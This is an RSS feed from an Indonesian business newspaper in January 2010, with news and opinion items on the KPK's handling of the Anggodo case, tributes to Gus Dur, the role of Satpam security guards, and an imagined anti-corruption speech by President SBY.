<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Harian Medan Bisnis Online</title>
	<atom:link href="http://www.medanbisnisonline.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.medanbisnisonline.com</link>
	<description>Harian Ekonomi yang Membahas tuntas masalah Bisnis dan mempunyai Motto : Membangun Indonesia yang Lebih Baik</description>
	<lastBuildDate>Mon, 04 Jan 2010 15:01:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ICW Desak KPKTetapkan Anggodo sebagai Tersangka</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/icw-desak-kpktetapkan-anggodo-sebagai-tersangka/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/icw-desak-kpktetapkan-anggodo-sebagai-tersangka/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 15:01:34 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Umum]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197631</guid>
		<description><![CDATA[MedanBisnis – Jakarta
ICW mendesak KPK segera menetapkan Anggodo Widjojo sebagai tersangka. Alat bukti yang dimiliki KPK dianggap telah mencukupi untuk menetapkan-nya sebagai tersangka.
&#8220;Agar publik tidak bertanya-tanya, KPK harus tegas, cepat dan tidak malu-malu menjadikan Anggodo tersangka,&#8221; kata Koordinator Divisi Hukum ICW  Illian Deta Arta Sari di Kantor KPK, Jalan Kalibata, Jakarta Selatan, Minggu (3/1).
Illian menyatakan [...]]]></description>
			<content:encoded><![CDATA[<p><strong>MedanBisnis </strong>– Jakarta<br />
ICW mendesak KPK segera menetapkan Anggodo Widjojo sebagai tersangka. Alat bukti yang dimiliki KPK dianggap telah mencukupi untuk menetapkan-nya sebagai tersangka.<br />
&#8220;Agar publik tidak bertanya-tanya, KPK harus tegas, cepat dan tidak malu-malu menjadikan Anggodo tersangka,&#8221; kata Koordinator Divisi Hukum ICW  Illian Deta Arta Sari di Kantor KPK, Jalan Kalibata, Jakarta Selatan, Minggu (3/1).<br />
Illian menyatakan penanganan kasus Anggodo di KPK sangat lambat. &#8220;Kasus Anggodo saat di polisi tidak tersentuh. Sekarang di KPK, Anggodo berhasil membuat KPK berjalan seperti siput,&#8221; katanya.<br />
Sementara itu, Direktur Indonesia Legal Resource Center (ILRC) Uli Parulian Sihombing, menyatakan, KPK telah mengantongi dua alat bukti. Yang pertama adalah kesaksian Ari Muladi; kedua, rekaman Anggodo dengan sejumlah pejabat.<br />
&#8220;Jadi tidak ada alasan bagi KPK untuk tidak menjadikan Aggodo menjadi tersangka. Secara hukum alat bukti cukup,&#8221; katanya. <em>(nal/nrl/dcn)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/icw-desak-kpktetapkan-anggodo-sebagai-tersangka/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kematian Gus Dur di Mata Ki Gendeng Pamungkas</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/kematian-gus-dur-di-mata-ki-gendeng-pamungkas/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/kematian-gus-dur-di-mata-ki-gendeng-pamungkas/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:53:27 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Umum]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197629</guid>
		<description><![CDATA[MedanBisnis – Jakarta
Kematian Mantan Presiden ke 4 KH Abdurrahman Wahid atau Gus Dur masih menjadi perbincangan hangat. Berbagai sisi pun dikupas tentang latar belakangnya.
Benteng Demokrasi Rakyat (Bendera) juga berusaha mengungkap sisi misterius kematian Gus Dur. Tokoh paranormal, budayawan, advokat  dihadirkan untuk membedah sisi misterius Ulama NU ini.
&#8220;Malam satu Suro saya melakukan ritual dan saya sudah [...]]]></description>
			<content:encoded><![CDATA[<p><strong>MedanBisnis </strong>– Jakarta<br />
Kematian Mantan Presiden ke 4 KH Abdurrahman Wahid atau Gus Dur masih menjadi perbincangan hangat. Berbagai sisi pun dikupas tentang latar belakangnya.<br />
Benteng Demokrasi Rakyat (Bendera) juga berusaha mengungkap sisi misterius kematian Gus Dur. Tokoh paranormal, budayawan, advokat  dihadirkan untuk membedah sisi misterius Ulama NU ini.<br />
&#8220;Malam satu Suro saya melakukan ritual dan saya sudah tahu kalau bakal ada tokoh nasional yang meninggal,&#8221; ujar paranormal Ki Gendeng Pamungkas di Sekretariat Bendera Jalan Diponegoro 58, Menteng, Jakarta Pusat, Minggu (3/1).<br />
Namun, Ki Gendeng mengaku, dalam ritualnya dia tidak memperoleh, gambaran siapa tokoh nasional yang akan meninggal itu<br />
&#8220;Soal siapanya saya belum tahu, itu urusan sang Khalik,&#8221; tambahnya.<br />
Selain itu, Ki Gendeng pun meyakini bila Gus Dur juga memiliki paranormal yang dekat dengan dia. Sayangnya Ki Gendeng tidak menjelaskan untuk tujuan apa paranormal tersebut.<br />
&#8220;Sepengetahuan saya, setiap presiden punya paranormal termasuk Gus Dur, itu pasti. Tapi saya tidak tahu siapa-siapanya&#8221; tambahnya.<br />
Tapi dalam diskusi ini, disinggung pula soal wasiat Gus Dur yang menyerempet politis. Adalah Sri Bintang dan Ridwan Saidi, yang menuturkannya.<br />
Gus Dur, memberikan wasiat kepada 30 tokoh dalam pertemuan tanggal 4 Desember 2009 di kediaman Soetardjo Soeryaguritno atau biasa disebut Mbah Tardjo, mantan Ketua MPR di Jalan Denpasar, Kuningan.<br />
&#8220;Pesannya dua, turunkan SBY dan gantikan dengan pemerintahan baru,&#8221; ujar Ridwan dengan mimik serius. <em>(her/ndr/dcn)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/kematian-gus-dur-di-mata-ki-gendeng-pamungkas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selamat Jalan, Gus&#8230;(In Memoriam Gus Dur: 1940 – 2009)</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/selamat-jalan-gus-in-memoriam-gus-dur-1940-%e2%80%93-2009/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/selamat-jalan-gus-in-memoriam-gus-dur-1940-%e2%80%93-2009/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:52:46 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Rubrik Khusus]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197627</guid>
		<description><![CDATA[Begitu saja kok repot! Kalau mendengar ungkapan itu ingatan kita pasti tertuju kepada Abdurahman Wahid atau yang akrab disapa Gus Dur. Dialah yang mempopulerkan kalimat itu.
Mantan Presiden RI IV ini memang paling suka mengomentari tiap persoalan yang dipandang rumit oleh orang lain dengan kata-kata itu. Bukan menggampangkan masalah, tapi baginya, sebenarnya persoalan itu bisa dibuat [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>Begitu </strong>saja kok repot!</em> Kalau mendengar ungkapan itu ingatan kita pasti tertuju kepada Abdurahman Wahid atau yang akrab disapa Gus Dur. Dialah yang mempopulerkan kalimat itu.<br />
Mantan Presiden RI IV ini memang paling suka mengomentari tiap persoalan yang dipandang rumit oleh orang lain dengan kata-kata itu. Bukan menggampangkan masalah, tapi baginya, sebenarnya persoalan itu bisa dibuat mudah.<br />
Namun, sekarang kita tak pernah bisa mendengar lagi kata-kata itu diucapkan Gus Dur. Rabu, 30 Desember 2009 Ia meninggalkan kita semuanya, berpulang kepada Sang Pencipta. Bendera setengah tiang untuknya, Indonesia berkabung.<br />
Gus Dur lahir di Jombang, Jawa Timur, 7 Agustus 1940 dari pasangan Wahid Hasyim dan Solichah. Ia adalah putra pertama dari enam bersaudara. Gus Dur hidup dalam keluarga yang sangat terhormat pada komunitas muslim Jawa Timur. Kakek dari ayahnya adalah KH Hasyim Asyari, pendiri Nahdlatul Ulama (NU).<br />
Sementara kakek dari pihak ibu KH Bisri Syansuri adalah pengajar pesantren pertama yang mengajarkan kelas pada perempuan. Ayah Gus Dur, KH Wahid Hasyim, terlibat dalam Gerakan Nasionalis dan menjadi Menteri Agama tahun 1949. Ibunya, Ny Hj Sholehah, adalah putri pendiri Pondok Pesantren Denanyar Jombang. (www.wikipedia.org)<br />
Walaupun berasal dari kalangan pesantren, namun Gus Dur tidak mengharamkan mempelajari hal-hal yang di luar agama Islam. Tradisi ini telah hidup dalam kelurga ini sejak lama. Segala macam buku, majalah, dan literatur lainnya dibacanya. Sehingga wajar ia tumbuh menjadi sosok yang dengan pengetahuan yang luas. Ia bisa berbicara tentang kitab kuning sampai kitab kaum proletar (baca: Das Kapital). Pengetahuannya tentang sastra, musik, film, bola kaki tak bisa diragukan. Jelas ia sosok yang memiliki multi talenta.<br />
<strong>Pluralis</strong><br />
Gus Dur dikenal sebagai seorang yang pluralis. Menurutnya, ini merupakan konsekuensi dari demokrasi yang dipilih oleh Indonesia. Demokrasi tanpa pluralisme adalah nonsens. Omong kosong belaka. Demikianlah pandangan Gus Dur.<br />
Sehingga ketika ia menjadi Presiden RI IV, ia mencabut semua aturan-aturan yang bersifat diskriminatif. Ia mengeluarkan Keppres No 6 Tahun 2000 tentang Pencabutan Instruksi Presiden No 14 Tahun 1967 tentang Agama, Kepercayaan, dan Adat Istiadat China.<br />
Sejak itu warga minoritas Tionghoa (catatan: minoritas dalam soal jumlah, karena dalam beberapa hal golongan ini sangat kuat, ekonomi misalnya) dapat merayakan Imlek dan Cap Go Meh secara resmi. Bahkan Imlek diperingati dengan hari libur nasional. Barongsai sebagai bagian dari kebudayaan etnis ini boleh menari-nari lagi di segala pelosok negeri ini.<br />
Ia juga membela hak-hak orang-orang transgender. Sehingga ketika mendengar kematiannya orang-orang seperti Dorce sangat berduka. Karena dialah, orang-orang transgender bisa lebih diterima di masyarakat. Kita bisa lihat bagaimana banyak orang-orang seperti ini tampil di televisi menghibur masyarakat, dan hampir tidak ada penolakan. Artinya kelompok ini sudah bisa diterima di tengah-tengah masyarakat sebagai bagian dari pluralisme di negara yang memang berBhineka Tunggal Ika ini.<br />
Tak sampai di situ, Gus Dur pun menolak diskriminasi dalam beridiologi. Baginya, sesuai dengan hak asasi manusia, tak seorang pun bisa melarang orang lain untuk memiliki idiologi tertentu, termasuk komunisme. Karena memang tak bisa menghalangi orang untuk berpikir. Sehingga ia pernah mengusulkan untuk mencabut Tap MPRS No XXV/1969 tentang Pelarangan Marxisme, Komunisme, dan Leninisme.<br />
Tentu langkah Gus Dur ini menjadi pro-kontra. Masih banyak kalangan yang belum bisa menerima idiologi-idiologi yang dilarang itu berkembang di negeri ini. Ini tak lain karena dosa G30S yang dilimpahkan Orde Baru kepada PKI yang mendasarkan gerak partainya pada komunisme. Usul Gus Dur itu belum terealisasi. Sehingga sampai sekarang pun ketetapan MPR itu masih menjadi momok bagi pluralisme berideologi di negeri ini.<br />
<strong>Humoris</strong><br />
Semua orang pasti terkesan dengan selera humornya Gus Dur. Mungkin ia adalah presiden terlucu yang pernah dimiliki Indonesia bahkan dunia. Banyak lelucon-lelucon jenaka yang dibuat tokoh ini, dan diceritakan kembali dari mulut ke mulut oleh orang lain.Yang paling sering diingat orang misalnya humornya tentang polisi. Ketika banyak pihak mempertanyakan moralitas polisi, Gus Dur pun menanggapi dengan jenaka. Katanya, “Polisi yang baik itu cuma tiga. Pak Hoegeng almarhum bekas Kapolri, patung polisi dan polisi tidur.”<br />
Lain lagi tentang DPR. Satu kali Ia katakan bahwa DPR adalah Taman Kanak-kanak (TK) karena hanya bisa ribut melulu. Tapi kemudian ia merivisi perkataannya itu, menurutnya, “Dulu DPR itu TK tapi sekarang playgroup”. Bah!<br />
Menanggapi soal terorisme lain lagi. Satu kali ketika ditanya wartawan, “Gus, betulkah para pengebom itu mati syahid dan bertemu bidadari di surga?” Gus Dur pun menjawab, “Memangnya sudah ada yang membuktikan? Tentu saja belum kan, ulama maupun teroris itu kan juga belum pernah ke surga. Mereka itu yang jelas bukan mati syahid tapi mati sakit. Dan kalau pun mereka masuk surga, mereka akan menyesal bertemu bidadari, karena kepalanya masih tertinggal di dunia dan ditahan oleh polisi.” (www.wikipedia.org, www.metronews.com)<br />
Masih banyak lagi humor-humor yang dilontarkan Gus Dur. Mungkin sosoknya mengingatkan kita kepada Abu Nawas atau pun Nasruddin Hoja, tokoh sufi yang banyak mengajarkan kebajikan melalui humor-humor kritik yang cerdas.<br />
***<br />
Kini kita kehilangan seorang pemimpin besar. Seorang negarawan sekaligus guru bangsa. Mungkin yang bisa kita lakukan sekarang adalah menghidupkan kembali semangat-semangat ajaran Gus Dur tentang pluralisme di tengah ketidakbisaan menghargai pandangan, agama, kepercayaan, kebudayaan, dan perbedaan lainnya di negeri ini.<br />
Hidup memang bukan pasar malam, demikian kata Pramodya Ananta Toer. Karena di dunia ini, manusia bukan berduyun-duyun lahir di dunia dan berduyun-duyun kembali pulang, seperti dunia dalam pasar malam. Tapi seorang-seorang mereka datang dan pergi. Selamat jalan, Gus&#8230;<br />
<em>Penulis bekerja di KKSP (Kelompok Kerja Sosial Perkotaan), Medan.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/selamat-jalan-gus-in-memoriam-gus-dur-1940-%e2%80%93-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>29 Tahun Satuan Pengamanan (Satpam) Profesional</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/29-tahun-satuan-pengamanan-satpam-profesional/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/29-tahun-satuan-pengamanan-satpam-profesional/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:51:41 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Rubrik Khusus]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197625</guid>
		<description><![CDATA[ Oleh Lif’anan
Tidak terasa, 29 tahun sudah usia Satuan Pengamanan (Satpam) di tanah air. Seiring  dengan meningkatnya komunitas Satpam, kiprahnya dalam kehidupan masyarakat terutama di ruang lingkup kerja usaha/industri, BUMD-BUMN, bahkan lembaga pemerintahan terus berkembang cukup signifikan.
Melalui tulisan ini diharapkan masyarakat dan komunitas Satpam yang telah memasuki usia dewasa dapat memahami awal dasar dan fungsi [...]]]></description>
			<content:encoded><![CDATA[<p><em> Oleh Lif’anan</em><br />
<strong>Tidak </strong>terasa, 29 tahun sudah usia Satuan Pengamanan (Satpam) di tanah air. Seiring  dengan meningkatnya komunitas Satpam, kiprahnya dalam kehidupan masyarakat terutama di ruang lingkup kerja usaha/industri, BUMD-BUMN, bahkan lembaga pemerintahan terus berkembang cukup signifikan.<br />
Melalui tulisan ini diharapkan masyarakat dan komunitas Satpam yang telah memasuki usia dewasa dapat memahami awal dasar dan fungsi serta ruang lingkup lahirnya Satpam di persada ini. Sehingga ke depan akan lahir Satpam yang kompetensi, profesionalisme serta proporsional.<br />
Sejalan dengan perjalanan panjang suka-duka bangsa ini untuk terciptanya keamanan dan kenyamanan kehidupan, penguasa (pemerintah) telah melibatkan masyarakat sipil yakni apa yang dinamakan Pertahanan Rakyat Semesta (Sishamkamrata), kemudian Tahun l970-an di lingkungan Polri dicanangkan Keamanan Rakyat Semesta disingkat Kamra dan menyusul nama Hansip.<br />
Pada 1 Juli tahun 1979 berawal atas prakarsa Kapolri Bapak Jenderal Awaloedin Djamin yang saat ini sudah berpredikat guru besar (Profesor, Doktor) dicanangkan Pengamanan Swakarsa (Swakelola-Swadana). Setahun kemudian (30 Desember 1980) lahirlah Satuan Pengamanan (Satpam) yang hingga saat sekarang setiap tahun diperingati.<br />
Seiring dengan keberadaan Satpam dipertegas dengan UU No 2 Tahun 2002 dimana pembinaan teknis Satpam terus-menerus dilakukan agar menjadi profesional security guard, Pamswakarsa dilaksanakan di pemukiman dan lingkungan kerja, industri security meliputi pengaman (physical, information, personnel) yang perkembangannya dikelola oleh security manager.<br />
Di Sumatera Utara misalnya Asosiasi Manager Security Indonesia (AMSI) dideklarasikan tahun 2002 lalu.<br />
Sesuai Undang-Undang dan Peraturan Polri, keberadaan Satpam sebagai petugas satuan pengamanan dididik, dibina oleh institusi Polri di daerah masing masing. Sedangkan pelatihan khusus satpam telah pula diatur melalui tingkatan seperti, pelatihan Gada Pratama yang merupakan pelatihan dasar Satpam bagi anggota/calon Satpam yang belum pernah mengikuti pelatihan Gada Madya bagi anggota satpam yang disiapkan untuk menduduki jabatan setingkat Kepala Regu keatas dengan syarat memiliki kemampuan Gada Pratama. Kemudian pelatihan Gada Utama bagi manager/calon manager/chef security yang bertanggung jawab terhadap bidang pengamanan dan sudah memiliki kemampuan Gada Madya. Termasuk pendidikan/pelatihan khusus/spesialis di bidang pengamanan.<br />
Selain itu juga telah diatur tentang seragam pakaian/atribut satpam seperti PDH adalah seragam harian yang dipakai dan digunakan anggota satpam serta telah mendapat pengakuan dari Polri untuk dapat melaksanakan tugas pengemban fungsi Kepolisian terbatas dilingkungan kerjanya.<br />
Pakaian seragam PDH adalah pakaian dinas lapangan khusus digunakan para area yang banyak berhubungandengan kegiatan dilapangan dan sejenisnya. PSH adalah pakaian sipil harian yang dipakai  dan digunakan melaksanakan tugas harian di area kerjanya yang banyak berhubungan dengan pelanggan, masyarakat umum serta petugas yang membidangi pengamanan nonfisik, petugas setingkat supervisor.<br />
PSL pakaian sipil lapangan yang dapat dipakai dan digunakan pengamanan fisik yang diberikan kepada petugas setingkat supervisor keatas.Atribut satpam adalah segala bentuk tanda anggota satpam yang dapat menunjukkan kompetensi, kualifikasi dan identitas pengguna serta daerah tempatnya bertugas yang dipasang pada pakaian kerja.<strong><br />
Tugas Pokok</strong><br />
Satpam mempunyai tugas menyelenggarakan keamanan dan ketertiban di lingkungan/tempat kerjanya yang meliputi aspek pengamanan fisik, personal, informasi dan pengamanan tehnis lainnya.<br />
Fungsi satpam melindungi dan mengayomi lingkungan/tempat kerjanya dari setiap gangguan keamanan, serta menegakkan peraturan dan tata tertib yang berlaku di lingkunan kerjanya.Dalam pelaksanaan tugasnya sebagai pengemban fungsi Kepolisian terbatas, Satpam berperan sebagai unsur pembantu pimpinan organisasi, perusahaan dan atau instansi,lembaga keamanan dan ketertiban lingkungan tempat kerjanya. Kemudian unsur membantu Polri dalam pembinaan keamanan dan ketertiban masyarakat, penegakan peraturan, perundang-undangan serta menumbuhkan kesadaran dan kewaspadaan keamanan di lingkungan dan tempat kerjanya.<br />
Sesuai kepercayaan terhadap satpam, dewasa ini dikenal pula dengan sebutan satpam organik dan nonorganik yang dapat diartikan bahwa satpam organik terikat langsung dengan pengguna (perusahaan/instansi), sedangkan nonorganik sifatnya pengguna melibatkan pihak ke tiga (outshorsing) sebagaimana kebanyakan saat ini Badan Usaha Jasa Pengaman (BUJP).<br />
Dewasa ini, BUJP jumlahnya semakin meningkat. Hal ini pertanda permintaan akan kebutuhan satpam relatif meningkat hampir disemua lini badan usaha. Di Sumatera Utara dalam dekade 10 tahun terakhir tercatat lebih 70 BUJP, namun baru sekitar 40-50 persen yang aktif dan masih tendensi merekrut satpam belum sesuai peraturan. Bahkan sudah beroperasi belum terdaftar di AMSI sebagai lembaga yang dibentuk Polri memayungi BUJP.<br />
Sejalan dengan hal itu dan berbagai pelanggaran ketentuan Polri bersama AMSI telah melakukan penertiban. Tujuannya tidak lain tindakan kelanjutan pembinaan, mencegah satpam asal asalan yang cendrung dijadikan komunitas layaknya buruh semata.<br />
Padahal jika ditelaah  dalam, Satpam sebagai  pengamanan tugas Kepolisian terbatas memiliki kode etik jelas sebagai insane profesional.<br />
Sebagai insan profesional, tidak layak pula pengguna satpam menjadikan kesetaraan satpam dengan tenaga lain, misalnya mengabaikan kesejahteraan dan sistem penggajian di bawah UMP dan hak-hak normatif lainnya.<br />
Hal ini pantas menjadi perhatian, mengingat “Aman itu mahal, tetapi lebih mahal jika tidak aman”.<br />
Dalam suatu seminar di Jakarta tahun lalu, narasumber “Bapak Satpam” demikian sapaan untuk Jenderal Pol (Purn) Prof DR Awaloedin Djamin, mengingatkan, agar pengguna satpam menjadikan satpam sebagai investasi nilai tinggi. Dia juga memberi perumpamaan, jika perusahaan/industri tidak aman dan tanpa satpam, tentu tidak produktif.<br />
Sebaliknya dia juga mengingatkan agar Satpam terus meningkatkan kualitas, profesionalismenya, karena masa era globalisasi ke depan yang terus berkembang juga dapat menimbulkan persaingan tenaga security. “Bukan tidak mungkin perusahaan asing yang beroperasi di dalam negeri akan menggunakan satpam luar,” imbuhnya.<br />
Kemudian menyahuti hal tersebut bagaimana kita menyikapinya. Apalagi menyangkut sumber daya manusia kompetensi, proporsional dan profesional. Suatu pertanyaan yang mungkin jawabannya tidak lain ada dipundak institusi dan organisasi Pembina satpam itu sendiri.<br />
Barangkali tidaklah terlalu maju, diantara alternatif yang dapat menangkal buruknya kualitas.maupun citra satpam di tanah air, hanya cukup memahami Undang-undang dan peraturan yang sudah dijabarkan melalui peraturan Kapolri. Akan tetapi antara lain diperlukan trasparansi terutama tentang biaya pelatihan yang ideal, biaya perijinan baik ditingkat memperoleh rekomendasi maupun sampai ke pusat yang jumlahnya relative tinggi.<br />
Kemudian kelayakan pemegang Kartu Tanda Anggota satpam, selain belum tertib (ada yang belum pelatihan sudah miliki KTA) banyak pihak mempertanyakan kemana kontribusi bersumber dari satpam ini.<br />
Dengan transparansi dan akuntabel kontribusi bersumber dari komunitas security ini, insya Allah, setiap tahun memperingati HUT Satpam akan lebih terakomodir dan lebih meriah.  Selamat Hari Ulang Tahun Satuan Pengamanan (SATPAM) ke XXIX.<br />
<em>*Penulis adalah Public Relation Badan Pengurus Daerah Asosiasi Manager Security Sumatera Utara.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/29-tahun-satuan-pengamanan-satpam-profesional/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZERO TOLERANCE TO CORRUPTION</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/zero-tolerance-to-corruption/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/zero-tolerance-to-corruption/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 14:50:58 +0000</pubDate>
		<dc:creator>koco</dc:creator>
				<category><![CDATA[Rubrik Khusus]]></category>

		<guid isPermaLink="false">http://www.medanbisnisonline.com/?p=197623</guid>
		<description><![CDATA[Oleh Shohibul Anshor Siregar
DIMANA-mana, fakta integritas ditandatangani. Kegiatan bersifat konsultatif dengan KPK pun dijalankan bersama jajaran pemerintah daerah yang tujuannya lebih kurang untuk prevensi, meminimalisasi korupsi. Tetapi seolah tak bermanfaat semua seremoni itu. Bahkan dari banyak kepala daerah yang telah dan sedang diperiksa, masih banyak lagi yang akan dihadapkan kepada proses peradilan.
Amat dikhawatirkan KPK menjadi semacam [...]]]></description>
			<content:encoded><![CDATA[<p><em>Oleh Shohibul Anshor Siregar</em><br />
<strong>DIMANA</strong>-mana, fakta integritas ditandatangani. Kegiatan bersifat konsultatif dengan KPK pun dijalankan bersama jajaran pemerintah daerah yang tujuannya lebih kurang untuk prevensi, meminimalisasi korupsi. Tetapi seolah tak bermanfaat semua seremoni itu. Bahkan dari banyak kepala daerah yang telah dan sedang diperiksa, masih banyak lagi yang akan dihadapkan kepada proses peradilan.<br />
Amat dikhawatirkan KPK menjadi semacam mesin cuci politik bagi koruptor untuk mengesankan bahwa daerah telah bebas dari korupsi. Aktivis antikorupsi telah menyindir begitu tegas dengan pemberian kado siput yang terkenal sebagai salah satu mahkluk bergerak super lambat itu. Kado akhir tahun itu juga bertujuan mengantisipasi persandiwaraan tentang korupsi.<br />
Dalam kaitan itu amat diharapkan ketegasan sikap Presiden SBY. Seandainya beliau dapat dibujuk dan diyakinkan untuk itu, sebaiknya secara terbuka perlu mengawali tahun ini sebagai momentum baru pemberantasan korupsi. Lagi pula, di tengah kesulitan yang dihadapi pemerintah mencari modus tindakan yang benar-benar meaningful untuk menandai 100 hari pertama pemerintahan, program pemberantasan korupsi dengan penuh keseriusan dapat menjadi harapan satu-satunya.<br />
Bukankah image tentang pemerintahan sudah demikian buruk terlebih setelah drama cicak vs buaya, implikasi  rekomendasi Tim 8, dan peristiwa-peristiwa kecil di sekitar jaksa, polisi dan hakim (JAPOLHA), serta peradilan politik bagi kinerja buruk melawan hukum para mantan pejabat tinggi keuangan di hadapan Sidang DPR-RI yang digelar Pansus Skandal Bank Century dengan publikasi media yang begitu luas? Apa pun yang dituduhkan SBY kepada George Junus Aditjondro dengan bukunya Gurita Cikeas itu, selama tidak ada bukti yang kuat tentang kebersihan dirinya, tetaplah ia dianggap sebagai Presiden yang tidak mempunyai komitmen tentang pemberantasan korupsi.<br />
Naskah berikut ini diandaikan sebagai Pidato Presiden SBY yang mestinya diucapkan pada peralihan tahun 2009-2010. Tidak ada maksud untuk meremehkan lembaga kepresidenan. Tidak sama sekali.<br />
<strong>Zero Tolerance To Corruption</strong><br />
Saudara-saudara sebangsa dan se tanah air. Mengawali hari pertama tahun 2010 besok, marilah sebagai bangsa yang religius kita memperbanyak syukur kepada Allah Tuhan Yang Maha Esa. Tahun baru berarti meninggalkan segenap catatan yang hanya mungkin disesali dan diperbaiki ke depan jika hal itu memang salah oleh kekhilafan ataupun mungkin oleh kesengajaan. Sekaligus kita mulai hal baru yang jika mungkin dengan semangat dan tekad yang benar-benar pula.<br />
Apakah yang menjadi musuh nomor satu negara kita saat ini? Setelah saya renungi sedalam-dalamnya, maka saya telah tiba pada suatu kesimpulan yang amat saya yakini kebenarannya. Korupsi adalah musuh nomor satu negara-bangsa kita yang apabila dibiarkan terus merajalela, akan dengan sendirinya menghancurkan eksistensi kita sebagai bangsa. Saya ingin tidak ada lagi pendapat mendua terhadap hal ini di antara seluruh rakyat. Tekad kita hanya satu, selamatkan negara-bangsa dari musuh nomor satu korupsi.<br />
Jika kita menoleh ke masa lalu, ke Barat atau ke Timur,  semestinya kita pun patut bertanya sungguh-sungguh: siapakah atau negara manakah di dunia ini yang mampu memastikan perjalanan seluruh rakyatnya untuk sebuah tekad bulat zero tolerance to corruption? Mari kita periksa sejarah. Harapan saya, jika hasil pemeriksaan kita terhadap sejarah menghasilkan kekecewaan kita atau kegembiraan kita, maka kita sesungguhnya lebih baik mengatakan dan berjanji kepada diri kita masing-masing bahwa setiap negara-bangsa dan setiap generasi memiliki tantangannya sendiri.<br />
Hidup ini ibarat perjalanan singkat. Sebagai bangsa yang religius saya hendak mengingatkan seluruh rakyat bahwa masih ada hidup sesudah mati dan itu berkepanjangan bahkan unlimited. Jika di sana—di kehidupan setelah mati itu—akan ada ganjaran baik dan buruk, maka kenikmatan atau penderitaan hanyalah sebuah keniscayaan yang didasarkan kepada apa yang kita pikirkan dan apa yang telah kita perbuat selama diberi kesempatan hidup singkat di dunia ini. Tidak ada sejarrah pun yang akan lolos dari mekanisme hisab Tuhan Yang Maha Esa.<br />
Bertolak dari kesadaran sebagai bangsa, Indonesia akan mengawali tahun 2010 dengan tekad bersama memberantas korupsi tanpa pandang bulu. Harus ada yang memulai, dan untuk sebuah jaminan tekad yang tidak boleh berakhir dengan wacana, maka hari ini, di depan seluruh rakyat, saya akan berikan data-data harta kekayaan saya, dari mana seluruh harta itu saya peroleh, kapan dan bagaimana saya memperolehnya. Pada gilirannya, dan saya mohon Insyaa Allah dapat dilakukan dalam tempo yang tidak terlalu lama, Saudara dari KPK silakan dengan sungguh-sungguh mengaudit berdasarkan data-data yang saya kemukakan.<br />
Saya memahami benar risiko di balik tekad dan tindakan ini. Namun saya menilai inilah sebuah jalan kebenaran yang amat dibutuhkan saat ini. Jika ada pemimpin bangsa di dunia ini yang pernah berkata tegas ”beri saya 100 peti mati, 99 akan saya kirim kepada koruptor dan peti mati terakhir buat saya sendiri jika saya kelak terbukti melakukan korupsi”. Saya tidak pernah seujung kuku pun meragukan kebenaran ucapan itu dan ketauladanannya sekaligus. Dengan bismillahirrahmanirrahim, kita masuki tahun 2010 dengan tekad zero tolerance to corruption.<br />
<strong>Mulai dari Diri Presiden SBY</strong><br />
Korupsi itu tidak mungkin merajalela jika sudah terbentuk sistem yang kuat dilandasi oleh nilai berpantang korupsi. Makna korupsi memang harus digeser dari posisi (saat ini) setara “agama” atau setara “idiologi” ke posisi antiagama, sekaligus antihukum, antikejujuran dan antikeadilan. Dari perspektif itulah semua pengamat percaya bahwa pemberantasan korupsi harus dimulai dari diri pemimpin tertinggi. Jika tidak, semua hanya sandiwara belaka yang akan makin canggih dari hari ke hari.<br />
<em>Penulis Koordinator Umum ’nBASIS</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.medanbisnisonline.com/2010/01/04/zero-tolerance-to-corruption/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ayo, Kembangkan Umbi Bergizi Tinggi</title>
		<link>http://www.medanbisnisonline.com/2010/01/04/ayo-kembangkan-umbi-bergizi-tinggi/</link>
		<comments>http://www.medanbisnisonline.com/2010/01/04/ayo-kembangkan-umbi-bergizi-tinggi/#comments</comments>
